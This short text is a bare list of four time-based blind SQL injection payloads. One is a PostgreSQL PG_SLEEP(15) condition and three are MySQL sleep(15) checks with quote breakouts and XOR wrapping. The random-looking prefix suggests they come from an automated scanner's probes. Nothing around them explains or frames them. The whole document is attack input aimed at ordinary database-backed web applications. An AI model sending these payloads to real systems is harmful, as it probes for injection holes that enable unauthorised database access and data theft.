MR.IYWVKXMU') OR 777=(SELECT 777 FROM PG_SLEEP(15))--

if(now()=sysdate(),sleep(15),0)

Mr.0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Mr.0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z